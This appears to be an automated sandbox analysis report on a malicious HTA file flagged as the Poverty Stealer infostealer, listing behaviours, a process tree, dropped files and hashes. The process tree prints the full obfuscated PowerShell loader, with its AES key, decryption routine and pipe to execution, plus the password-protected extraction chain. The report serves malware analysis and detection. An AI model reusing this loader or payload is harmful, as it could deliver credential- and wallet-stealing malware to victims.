Analysis

  • max time kernel
    147s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-03-2024 02:01

General

  • Target

    06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f.hta

  • Size

    72KB

  • MD5

    e09e50f4c8308806ae21242538e17e88

  • SHA1

    3d5d0f3e384ec93f87716cc49487cd7ef1e8714a

  • SHA256

    06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f

  • SHA512

    a5557c34562a8f2cf1ba07029f07d389788579c4333e0856da1b6b7ba09484015dbfcf8f6f43d3e21787e8ef70b82062d29ebbfaf57fc50ed6d2015b272c7259

  • SSDEEP

    768:fEnAiXp/x27ioVgCtTLalOmilXO3SuDbvq572+/unhi1zOz:Mn/p/x27ioVgCtTLbmweSuPyKti5Oz

Malware Config

Signatures

  • Detect Poverty Stealer Payload 6 IoCs
  • Poverty Stealer

    Poverty Stealer is a crypto and infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1880
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ivXRRY = 'AAAAAAAAAAAAAAAAAAAAAHuMmso1AMeYPTqg2zmFYGLRAevBF0dzIBqwjcA2oQ2m8+KngkChOWPmpzxbUmz9iES2+wmHBDF4NNikX/9SA+8RZl3cvQDF00jQ0YmFtDKSgyA9b4/phWWKAp1Dd8/ytR6dOWK+gl5jA/RW80HrzF8zwxTzeNjzEdYIbAKbgIvUzpdq1PfpNgSDcrLwnf6wYoWXaDo+4f2SPpaJvd5bWGTy1EJj8FAnhAlSK/pbposi/hrdUPIRQvxHXKQQXZlr5NrPpLbhHHu78ydc6wwTCvZk77DaGi39y5qB230ZYk/e7tV27V3q01tqCxdx3tBcSKA7uAMyX8Ey/mjlsAOXbJ57iEolFiQtMkeLXRQnHlGQAom0cfG+TD7Cm01qvC5pMEeNJbLbciSdu9xs9T+c7tPx+xBYuPOvZFzYMN57JaeaZXehvSTkRY2hC6KnLkyRSwtTIKg1U8Ib7rr08szQWfdMaxRKVj3PGI/wQuxJ+WJA8tcTFqvoG6e88+mNmfdwt98gTMZWjCMtvnf4CBc92ueyM5vs56/2u+UVEJzepZUpK8lTTQTWjY1hlOFe0emGmyht+KS1zFSwWZBbRyNt0o5Dy9xG4GYyKw+ZUF5kF4SxYX6Yv7NLLkRJ1zA1vynUhhQD0GSeGUgNQ+quSJnyFSiEdpEa8NFWaep0COP5xyMiCOqi/EypECYLwCKEOwNqBqZ0/BjRXs3On8DJzDn994w83i+XNhIcnKswDJ1rV9Alxlwmt19nbz+Dn58l/ZcLWwvS6I+mTp8UBEk0CSxgzPNb8mX3rVtEvxZVuhLJa7/XWLcWSIGEtaXWpgRM/SbMXkdj7MO7V+BRMP1qf/dcU/TUhY1lotTnnHCHRFeLb1d1';$ftUus = 'ckRTZUh1VlFmVnlTa2luUmVGS3hIRGlVRktJVGF1aEI=';$qOFHjUF = New-Object 'System.Security.Cryptography.AesManaged';$qOFHjUF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qOFHjUF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qOFHjUF.BlockSize = 128;$qOFHjUF.KeySize = 256;$qOFHjUF.Key = [System.Convert]::FromBase64String($ftUus);$svgDF = [System.Convert]::FromBase64String($ivXRRY);$JuzxcfzI = $svgDF[0..15];$qOFHjUF.IV = $JuzxcfzI;$ceTYAICRx = $qOFHjUF.CreateDecryptor();$SsqoZtLKt = $ceTYAICRx.TransformFinalBlock($svgDF, 16, $svgDF.Length - 16);$qOFHjUF.Dispose();$JFlSsSI = New-Object System.IO.MemoryStream( , $SsqoZtLKt );$wBZvtko = New-Object System.IO.MemoryStream;$pFgGcVXpX = New-Object System.IO.Compression.GzipStream $JFlSsSI, ([IO.Compression.CompressionMode]::Decompress);$pFgGcVXpX.CopyTo( $wBZvtko );$pFgGcVXpX.Close();$JFlSsSI.Close();[byte[]] $xIpqeQj = $wBZvtko.ToArray();$BomjpubV = [System.Text.Encoding]::UTF8.GetString($xIpqeQj);$BomjpubV | powershell -
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
        3⤵
        • UAC bypass
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3120
        • C:\Users\Admin\AppData\Roaming\Photoshop.exe
          "C:\Users\Admin\AppData\Roaming\Photoshop.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2040
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2656
            • C:\Windows\system32\mode.com
              mode 65,10
              6⤵
                PID:4188
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e file.zip -p125762329330388294023250819845 -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:996
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_5.zip -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:3480
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_4.zip -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:4056
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_3.zip -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:4416
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_2.zip -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:2368
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_1.zip -oextracted
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:4084
              • C:\Windows\system32\attrib.exe
                attrib +H "nmYIeCI7gcMH.exe"
                6⤵
                • Views/modifies file attributes
                PID:2072
              • C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe
                "nmYIeCI7gcMH.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2336
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  7⤵
                    PID:4856

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        1a9f0871e2603addb86af5e7eb66f1d4

        SHA1

        fe3ff665c4f6de7b189edcf95f7dc0b65a2f21ca

        SHA256

        246c0061674e59b29627989240600f398843059a01ae86291a21b5a798378a7f

        SHA512

        eddda8a5160190c2388c565b91cd9fa002e174a67810ea8a9414e6a8f72829787ff5eeaaf1026f6a4a255156ad6e755f815a16db2de61ba8e59efe0aa66cafae

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

        MD5

        d41d8cd98f00b204e9800998ecf8427e

        SHA1

        da39a3ee5e6b4b0d3255bfef95601890afd80709

        SHA256

        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

        SHA512

        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vbqmm3vr.5n4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

        Filesize

        1.6MB

        MD5

        72491c7b87a7c2dd350b727444f13bb4

        SHA1

        1e9338d56db7ded386878eab7bb44b8934ab1bc7

        SHA256

        34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

        SHA512

        583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

        Filesize

        2.2MB

        MD5

        47e8ed572da00474326b4cee8f85b005

        SHA1

        94bceabdc880c41d73d6c984a9d61c31dd29ce91

        SHA256

        abd52eb132c8c23669233a656f036a0e07692efd398894b724b61b66a75564af

        SHA512

        31da04b57f0ef1b3363a3fa4855ca576d9159d374de0d2d9defb5524e67fed740441dcc2245a246daecab6260a419c02a32770ee9be53a2ddbede9dd4848d624

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

        Filesize

        509KB

        MD5

        5f79b89dbaf23387caa818b0da7b8ea2

        SHA1

        3c38d94819331fd551c07048841cfe6ecbf29e18

        SHA256

        7abc58d9dd3dee48f88629c8dcaf12e72a337f8bf1dbce59d464ab6ed698b726

        SHA512

        a6381f3b0d3184ab098e9a40ca65dd1cec76cb7e0cfe13a5c2d188e4c8e6d077286c70a366ad6ffc7e7f68faa6240a730b7034fcaa00d1c1f0922e42c1edb8fc

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

        Filesize

        509KB

        MD5

        763cb011f068f184a672e254d3ce3c39

        SHA1

        59eb148e6ad321cac5396e6a58c1528f7932befb

        SHA256

        d25782f4a9573c40747458b6916e9332b34a349b3011ec85dd5d11a583a87105

        SHA512

        530b8c0ad90b53f38cd56ffaf3766f33167c9922e55f8485ca87019275730c94dd6a84a1d9578163c45bae2743cf6981041f9ccc97ceb822f8d607f94a0c1d28

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip

        Filesize

        509KB

        MD5

        210ee7f34c0ff268d33d598a49eb889a

        SHA1

        876dea438f3f365513159630a12a2192fecd8b7f

        SHA256

        9d8ee7edf36676633d624774cb194a45ef8ae286cb5e9591d46c20be57a9282f

        SHA512

        383bb66f996b858d4ef23eed2264c4f890d47aca7b3da88587e3bb6454183f8d35e44411b08eecafe3fbb0638610cd872d1d00402dd8ff0b660102a44b53bcb1

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip

        Filesize

        509KB

        MD5

        4ab6b1ed8f26df37c531a80147982511

        SHA1

        25d59710197c30eee836096dfcce139ba84f978a

        SHA256

        33f73488015443cc05fa02d1c0723921502de5cac3206cf9fc433472a2afb162

        SHA512

        a582e4cd93baf45b48aad086ffc5edab4ec899cbd029e9e740e93cf34a2aff492f14c92ed2efc0339fc4eed979311600007fca3075abda28232d9d351dd49e24

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip

        Filesize

        2.1MB

        MD5

        9e57c6bb6dfb456cd9907844b7afafbd

        SHA1

        daee76439ed4cd77192dc5c2d52b187f18e5ba99

        SHA256

        729dbb0bd855dc1c1cf59366f49e29cb2b6e0d1279270924d2b131d7df749eab

        SHA512

        3a99dae0a7c4ac47c5143dd6ada9a485cf115d3d9b172c3ba6d0847d6848e41defccd3a4eaf1b44c3ae46820c2164127b4e1ceaa5e07a8028e9b38f823a5960b

      • C:\Users\Admin\AppData\Local\Temp\main\file.bin

        Filesize

        2.1MB

        MD5

        afaebf70e6daf7bf2e07cd11f93ee4a1

        SHA1

        4e8b08b3e50f860955bd00d16fc1653c07b7c608

        SHA256

        4a9d76fb9d77efaf81616e750b928ba3955599acafb2c0fec0d7ce412db0f47b

        SHA512

        4db3a63f03f8816b85fdb905e2a2f08967f9f3735206f08f2cae8b8cd561e8563d2f92c188d32b94fdb6d472e07c5f41f54e26673f8a81449454225220ba397f

      • C:\Users\Admin\AppData\Local\Temp\main\main.bat

        Filesize

        491B

        MD5

        12b875e85a885c81bc04161e9df9151a

        SHA1

        7d9e32a575e487611abb182b4d89b1ab4f4e7a06

        SHA256

        97e80e083ba83a031bb03097cd81d86708165cd7eb1c070782e6a7234de784a5

        SHA512

        3ba38a4024287bcaeee208a1c0158fae73a86d5581cf566309985bbd204e810eb5fd099a1816a9326c9e25bb08a2da20f2a4884978eb4e4ed8a3762c1057d0ca

      • C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe

        Filesize

        619KB

        MD5

        53c6cf5bf9ce4922b3dc9bf9cc2374a2

        SHA1

        b9a0d229a47fadaaa0898d32dce3aac279ac8569

        SHA256

        2bb1a0a95249e3bcca1fdfc740bc91df10dc9c8cd834707a0b5a31883eb6867e

        SHA512

        d323cfdfc3db5c5ce70ba572c0c657def11c3b36703a029977f5c5ddfdb278dfd1eea8950686d7a566dcd550aa0c854ceb035e6e67fcb377a8fc50dc4e0cd64c

      • C:\Users\Admin\AppData\Roaming\Photoshop.exe

        Filesize

        3.0MB

        MD5

        a8048bd6fc7d336d7f6e0fd6800da673

        SHA1

        f28db14f2884ac1db0ce53a7ec7bee572541d902

        SHA256

        d7414d6e34052bd4194ebf979a405af4e0d39b42b6d4d6ad31db85fd78dcc31d

        SHA512

        570d1ac52dcb8f6c67983a4af99fece9f47e03beba83b9b2c95ce544f5b5f40c8c7e46019f5e106b258de2affee91988053dbab9e777e1c115d3803513eea066

      • C:\Users\Admin\AppData\Roaming\Photoshop.exe

        Filesize

        1.4MB

        MD5

        4fd52f2655010a63deae8d3d492f6bda

        SHA1

        99b1ccc13b1561e93784d860d03329cfd746f6e5

        SHA256

        d4a0f3946c6a6204230f05b41b5c403f1c4678afb3968a1916e45a5d5f277443

        SHA512

        85f205ed13bb8dead4df2eb9ce8603142d9ffc0d6758f79fbbd26172a95e466072e2298848647da1ca478328632108624b766f235b3f9d5c90274e72e22d0344

      • memory/2336-155-0x0000000000C90000-0x0000000000D90000-memory.dmp

        Filesize

        1024KB

      • memory/3120-26-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-72-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-38-0x0000000006F90000-0x0000000007006000-memory.dmp

        Filesize

        472KB

      • memory/3120-39-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-40-0x00000000071B0000-0x0000000007246000-memory.dmp

        Filesize

        600KB

      • memory/3120-41-0x0000000007160000-0x0000000007182000-memory.dmp

        Filesize

        136KB

      • memory/3120-42-0x00000000082C0000-0x0000000008864000-memory.dmp

        Filesize

        5.6MB

      • memory/3120-43-0x000000007F810000-0x000000007F820000-memory.dmp

        Filesize

        64KB

      • memory/3120-44-0x0000000007380000-0x00000000073B2000-memory.dmp

        Filesize

        200KB

      • memory/3120-45-0x0000000070DC0000-0x0000000070E0C000-memory.dmp

        Filesize

        304KB

      • memory/3120-55-0x0000000007360000-0x000000000737E000-memory.dmp

        Filesize

        120KB

      • memory/3120-56-0x00000000073C0000-0x0000000007463000-memory.dmp

        Filesize

        652KB

      • memory/3120-57-0x00000000074C0000-0x00000000074CA000-memory.dmp

        Filesize

        40KB

      • memory/3120-58-0x00000000074D0000-0x00000000074E1000-memory.dmp

        Filesize

        68KB

      • memory/3120-59-0x0000000007500000-0x000000000750E000-memory.dmp

        Filesize

        56KB

      • memory/3120-60-0x0000000007520000-0x0000000007534000-memory.dmp

        Filesize

        80KB

      • memory/3120-61-0x0000000007560000-0x000000000757A000-memory.dmp

        Filesize

        104KB

      • memory/3120-62-0x0000000007550000-0x0000000007558000-memory.dmp

        Filesize

        32KB

      • memory/3120-87-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/3120-25-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/3120-36-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-73-0x000000007F810000-0x000000007F820000-memory.dmp

        Filesize

        64KB

      • memory/3120-69-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/3120-70-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-71-0x0000000002600000-0x0000000002610000-memory.dmp

        Filesize

        64KB

      • memory/3120-37-0x0000000006220000-0x0000000006264000-memory.dmp

        Filesize

        272KB

      • memory/4656-8-0x0000000005AB0000-0x0000000005B16000-memory.dmp

        Filesize

        408KB

      • memory/4656-24-0x0000000007210000-0x000000000722A000-memory.dmp

        Filesize

        104KB

      • memory/4656-68-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

        Filesize

        64KB

      • memory/4656-63-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/4656-7-0x00000000052B0000-0x00000000052D2000-memory.dmp

        Filesize

        136KB

      • memory/4656-90-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/4656-23-0x0000000007A80000-0x00000000080FA000-memory.dmp

        Filesize

        6.5MB

      • memory/4656-6-0x0000000005410000-0x0000000005A38000-memory.dmp

        Filesize

        6.2MB

      • memory/4656-21-0x0000000006200000-0x000000000624C000-memory.dmp

        Filesize

        304KB

      • memory/4656-20-0x0000000006160000-0x000000000617E000-memory.dmp

        Filesize

        120KB

      • memory/4656-19-0x0000000005C90000-0x0000000005FE4000-memory.dmp

        Filesize

        3.3MB

      • memory/4656-9-0x0000000005B20000-0x0000000005B86000-memory.dmp

        Filesize

        408KB

      • memory/4656-65-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

        Filesize

        64KB

      • memory/4656-2-0x0000000004CA0000-0x0000000004CD6000-memory.dmp

        Filesize

        216KB

      • memory/4656-22-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

        Filesize

        64KB

      • memory/4656-5-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

        Filesize

        64KB

      • memory/4656-4-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

        Filesize

        64KB

      • memory/4656-3-0x0000000074880000-0x0000000075030000-memory.dmp

        Filesize

        7.7MB

      • memory/4856-154-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/4856-161-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/4856-162-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/4856-163-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/4856-164-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/4856-165-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

        Filesize

        4KB

      • memory/4856-166-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB